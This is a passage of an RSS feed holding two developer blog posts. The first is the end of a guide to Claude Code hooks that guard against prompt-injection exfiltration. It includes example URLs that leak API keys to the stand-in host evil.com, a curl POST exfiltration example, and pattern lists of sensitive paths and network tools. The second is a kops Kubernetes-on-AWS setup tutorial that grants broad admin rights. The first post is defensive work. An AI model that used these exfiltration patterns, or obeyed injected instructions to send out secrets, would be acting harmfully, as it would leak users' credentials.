&lt;p&gt;&lt;strong&gt;Write guard&lt;/strong&gt; — flag writes to sensitive paths:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"matcher"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Write"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"python3 -c &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;import sys,json; path=json.load(sys.stdin).get('tool_input',{}).get('file_path',''); sensitive=any(s in path for s in ['.env','.key','credentials','secret']); print('Writing to sensitive file: '+path, file=sys.stderr) if sensitive else None; sys.exit(1) if sensitive else sys.exit(0)&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Caution: This is not bulletproof
&lt;/h2&gt;

&lt;p&gt;This hook catches the most common exfiltration vector — query parameters. But data can leak through other parts of a URL too:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Path parameters:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://evil.com/exfil/YOUR_API_KEY/done
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Subdomains:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://YOUR_API_KEY.evil.com/callback
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fragment identifiers&lt;/strong&gt; (less risky since fragments aren't sent to servers, but still worth knowing):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://evil.com/page#secret=abc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;POST body via other tools&lt;/strong&gt; — if an attacker tricks Claude into using Bash with &lt;code&gt;curl -d "secret=xxx"&lt;/code&gt;, WebFetch hooks won't catch it at all.&lt;/p&gt;

&lt;h3&gt;
  
  
  What you can do about it
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Allowlist known domains&lt;/strong&gt; — instead of checking for &lt;code&gt;?&lt;/code&gt;, flip the logic. Only auto-allow domains you trust, and ask for everything else:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"python3 -c &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;import sys,json; from urllib.parse import urlparse; data=json.load(sys.stdin); url=data.get('tool_input',{}).get('url',''); host=urlparse(url).hostname or ''; trusted=['docs.python.org','developer.mozilla.org','github.com','stackoverflow.com']; is_trusted=any(host.endswith(d) for d in trusted); print('Unknown domain: '+url, file=sys.stderr) if not is_trusted else None; sys.exit(0 if is_trusted else 1)&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Layer your defenses&lt;/strong&gt; — combine the query param hook with a domain allowlist. Use exit 0 for trusted domains with no params, exit 1 for trusted domains with params or unknown domains, and exit 2 for known-bad patterns.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Watch your Bash tool too&lt;/strong&gt; — add a separate hook for Bash that flags &lt;code&gt;curl&lt;/code&gt;, &lt;code&gt;wget&lt;/code&gt;, or &lt;code&gt;nc&lt;/code&gt; commands with suspicious arguments.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Review the URL every time you approve&lt;/strong&gt; — sounds obvious, but when you're in flow and approving prompts quickly, it's easy to glaze over. The whole point of exit code 1 is to make you pause. Actually pause.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Bottom line:&lt;/strong&gt; The hook in this article reduces your attack surface significantly — most prompt injection exfiltration uses query params because it's the easiest path. But no single check catches everything. Treat this as one layer, not the whole wall.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Don't use &lt;code&gt;permissions.allow&lt;/code&gt; for WebFetch — it bypasses all hooks&lt;/li&gt;
&lt;li&gt;Use a &lt;code&gt;PreToolUse&lt;/code&gt; hook that exits 0 (allow) or 1 (ask) based on the URL&lt;/li&gt;
&lt;li&gt;Hook input is JSON via &lt;strong&gt;stdin&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;~/.claude/settings.json&lt;/code&gt; makes it global across all projects&lt;/li&gt;
&lt;li&gt;Query param checks are a good start, but consider domain allowlisting for stronger protection&lt;/li&gt;
&lt;li&gt;Data can also leak via path params, subdomains, and Bash commands — layer your defenses&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The goal isn't to block Claude from fetching URLs. It's to keep yourself in the loop when data might be leaving your machine. Two minutes of setup, permanent peace of mind — but stay vigilant.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If you're using Claude Code daily, these small safety guardrails compound. Two minutes of config now saves you from a bad day later. Got a better hook setup? Drop it in the comments — let's build a community-maintained collection.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>claudecode</category>
      <category>ai</category>
      <category>security</category>
      <category>devtools</category>
    </item>
    <item>
      <title>Setup your own Kubernetes Cluster with Kops and AWS Infrastructure</title>
      <dc:creator>Abhay</dc:creator>
      <pubDate>Sun, 01 Mar 2020 06:26:59 +0000</pubDate>
      <link>https://dev.to/abhaygawade/setup-your-own-kubernetes-cluster-with-kops-and-aws-infrastructure-1li4</link>
      <guid>https://dev.to/abhaygawade/setup-your-own-kubernetes-cluster-with-kops-and-aws-infrastructure-1li4</guid>
      <description>&lt;p&gt;As you started reading this article, so I believe you must known What is kubernetes and AWS.&lt;/p&gt;

&lt;h1&gt;
  
  
  Pre-requisite configuration:
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;AWS Account → &lt;a href="https://portal.aws.amazon.com/billing/signup" rel="noopener noreferrer"&gt;https://portal.aws.amazon.com/billing/signup&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Kubectl (Kubernetes Command-lin Tool):&lt;br&gt;
Install Kubectl on your system → &lt;a href="https://kubernetes.io/docs/tasks/tools/install-kubectl/" rel="noopener noreferrer"&gt;https://kubernetes.io/docs/tasks/tools/install-kubectl/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;KOPS (Kubernetes Operations): &lt;br&gt;
Install Kops on your system, follow this official documentation → &lt;a href="https://github.com/kubernetes/kops#installing" rel="noopener noreferrer"&gt;https://github.com/kubernetes/kops#installing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Install AWS CLI and configure - &lt;a href="https://aws.amazon.com/cli/" rel="noopener noreferrer"&gt;https://aws.amazon.com/cli/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Verify installation by execcuting &lt;code&gt;aws --version&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You need to create new user on AWS. However you can use root user, but its not recommended at all.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Open IAM console: &lt;a href="https://console.aws.amazon.com/iam/" rel="noopener noreferrer"&gt;https://console.aws.amazon.com/iam/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;In the navigation pane, choose &lt;strong&gt;Users&lt;/strong&gt; and then choose &lt;strong&gt;Add user&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Type user name for new user. I am using &lt;code&gt;kops&lt;/code&gt; as a username for simplicity&lt;/li&gt;
&lt;li&gt;Select type of access as &lt;strong&gt;Programmatic access&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;Choose Next for &lt;strong&gt;Permission&lt;/strong&gt; and give admin access to this user with  &lt;em&gt;AdministratorAccess&lt;/em&gt; Policy&lt;/li&gt;
&lt;li&gt;Choose next for &lt;strong&gt;Tags&lt;/strong&gt; and &lt;strong&gt;Review&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;This will creates an &lt;em&gt;Access Key ID&lt;/em&gt; and &lt;em&gt;Secret Access Key&lt;/em&gt;. Store them securely as You will not have access to the secret access key again after this step.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use command &lt;code&gt;aws configure&lt;/code&gt; and enter &lt;em&gt;Access Key ID&lt;/em&gt;, &lt;em&gt;Secret Access Key&lt;/em&gt; and &lt;em&gt;Default Region Name&lt;/em&gt; on prompt. I am using &lt;code&gt;ap-south-1&lt;/code&gt; which is Asia Pacific server at Mumbai. See list of aws regions &lt;a href="https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Deploying Kubernetes to AWS
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://kops.sigs.k8s.io/getting_started/aws/" rel="noopener noreferrer"&gt;https://kops.sigs.k8s.io/getting_started/aws/&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup IAM user
&lt;/h3&gt;

&lt;p&gt;Create an IAM user with following permissions:&lt;/p&gt;

&lt;pre&gt;
AmazonEC2FullAccess
AmazonRoute53FullAccess
AmazonS3FullAccess
IAMFullAccess
AmazonVPCFullAccess
&lt;/pre&gt;

&lt;p&gt;Do it with command line&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonEC2FullAccess --group-name kops&lt;br&gt;
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonRoute53FullAccess --group-name kops&lt;br&gt;
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess --group-name kops&lt;br&gt;
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/IAMFullAccess --group-name kops&lt;br&gt;
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonVPCFullAccess --group-name kops&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws iam create-user --user-name kops&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws iam add-user-to-group --user-name kops --group-name kops&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws iam create-access-key --user-name kops&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Buy a domain (If don't have already)
&lt;/h3&gt;

&lt;p&gt;I have buy (:p) &lt;a href="https://kubernetes.cf" rel="noopener noreferrer"&gt;https://kubernetes.cf&lt;/a&gt; for this tutorial&lt;/p&gt;

&lt;h3&gt;
  
  
  Create Hosted Zone in AWS
&lt;/h3&gt;

&lt;p&gt;Create hosted zone in AWS and update NS in DNS of domain provider&lt;/p&gt;

&lt;h3&gt;
  
  
  Test the DNS setup
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;dig ns dev.kubernetes.cf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;should get something like &lt;br&gt;
;; ANSWER SECTION:&lt;br&gt;
dev.kubernetes.cf.        172800  IN  NS  ns-1.awsdns-1.net.&lt;br&gt;
dev.kubernetes.cf.        172800  IN  NS  ns-2.awsdns-2.org.&lt;br&gt;
dev.kubernetes.cf.        172800  IN  NS  ns-3.awsdns-3.com.&lt;br&gt;
dev.kubernetes.cf.        172800  IN  NS  ns-4.awsdns-4.co.uk.&lt;/p&gt;

&lt;h3&gt;
  
  
  Create cluster state storage on S3
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;aws s3api create-bucket \&lt;br&gt;
    --bucket dev-kubernetes-cf-state-store \&lt;br&gt;
    --region ap-south-1&lt;br&gt;
    --create-bucket-configuration LocationConstraint=&amp;lt;region&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws s3api put-bucket-versioning --bucket dev-kubernetes-cf-state-store  --versioning-configuration Status=Enabled&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws s3api put-bucket-encryption --bucket dev-kubernetes-cf-state-store --server-side-encryption-configuration '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}'&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Creating the Cluster
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;export NAME=dev.kubernetes.cf&lt;br&gt;
export KOPS_STATE_STORE=s3://dev-kubernetes-cf-state-store&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws ec2 describe-availability-zones --region ap-south-1&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;create secret
generate local keys: &lt;code&gt;ssh-keygen&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;kops create secret --name dev.kubernetes.cf sshpublickey admin -i ~/.ssh/id_rsa.pub&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  create SSL using AWS Certificate Manager
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;kops create cluster \&lt;br&gt;
    --zones ap-south-1a \&lt;br&gt;
    --state s3://dev-kubernetes-cf-state-store \&lt;br&gt;
    --api-ssl-certificate arn:aws:acm:[aws-cert-key-id} \&lt;br&gt;
    ${NAME}&lt;br&gt;
    &amp;lt;!-- --topology private \ --&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Master and Worker nodes are configurable in termas of specification and count&lt;/p&gt;

&lt;p&gt;If you want to edit something&lt;br&gt;
&lt;code&gt;kops edit cluster ${NAME}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Finally apply cluster configuration&lt;br&gt;
&lt;code&gt;kops update cluster ${NAME} --yes&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;kubectl get nodes&lt;/p&gt;

&lt;p&gt;use following command to validate cluster is up and running, it may take up to 10-15 minutes to complete setup&lt;br&gt;
&lt;code&gt;kops validate cluster&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Install Kubernetes Dashboard
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Connect to master
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;ssh to the master: ssh -i ~/.ssh/id_rsa admin@api.dev.kubernetes.cf&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Install Kube Dashboard
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-beta6/aio/deploy/recommended.yaml&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Create the service account in the current namespace
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;kubectl create serviceaccount my-dashboard-sa&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Give that service account root access on the cluster
&lt;/h4&gt;

&lt;p&gt;kubectl create clusterrolebinding my-dashboard-sa \&lt;br&gt;
  --clusterrole=cluster-admin \&lt;br&gt;
  --serviceaccount=default:my-dashboard-sa`&lt;/p&gt;

&lt;h4&gt;
  
  
  Find the secret that was created to hold the token for the SA
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;kubectl get secrets&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Show the contents of the secret to extract the token
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;kubectl describe secret my-dashboard-sa-token-xxxxx&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  run &lt;code&gt;kubectl proxy&lt;/code&gt;
&lt;/h4&gt;

&lt;h2&gt;
  
  
  Install ngnix-controller with helm
&lt;/h2&gt;

&lt;p&gt;Install Helm - &lt;a href="https://helm.sh/docs/intro/install/" rel="noopener noreferrer"&gt;https://helm.sh/docs/intro/install/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;helm install nginx-cntroller nginx/nginx-ingress&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  apply SSL on Load Balancer
&lt;/h2&gt;

&lt;h2&gt;
  
  
  update load balancer endpoint url in Route53 as alias target
&lt;/h2&gt;

&lt;h2&gt;
  
  
  change loadbalancer instance port of 443 same as 80
&lt;/h2&gt;

&lt;h3&gt;
  
  
  create service i.e. goapp
&lt;/h3&gt;

&lt;p&gt;User followign docker image for quick reference: &lt;a href="https://hub.docker.com/r/abygawade/goapp" rel="noopener noreferrer"&gt;https://hub.docker.com/r/abygawade/goapp&lt;/a&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  create an ingress with following configuration
&lt;/h2&gt;

&lt;pre&gt;
apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
  name: dev-ingress
spec:
  rules:
  - host: dev.kubernetes.cf
    http:
      paths:
      - path: /go
        backend:
          serviceName: goapp
          servicePort: 80
&lt;/pre&gt;

&lt;p&gt;Visit: &lt;a href="http://dev.kubernetes.cf/go" rel="noopener noreferrer"&gt;http://dev.kubernetes.cf/go&lt;/a&gt;&lt;br&gt;
       &lt;a href="https://dev.kubernetes.cf/go" rel="noopener noreferrer"&gt;https://dev.kubernetes.cf/go&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Replace &lt;em&gt;kubernetes.cf&lt;/em&gt; with your domain name&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>kops</category>
      <category>aws</category>
    </item>
  </channel>
</rss>
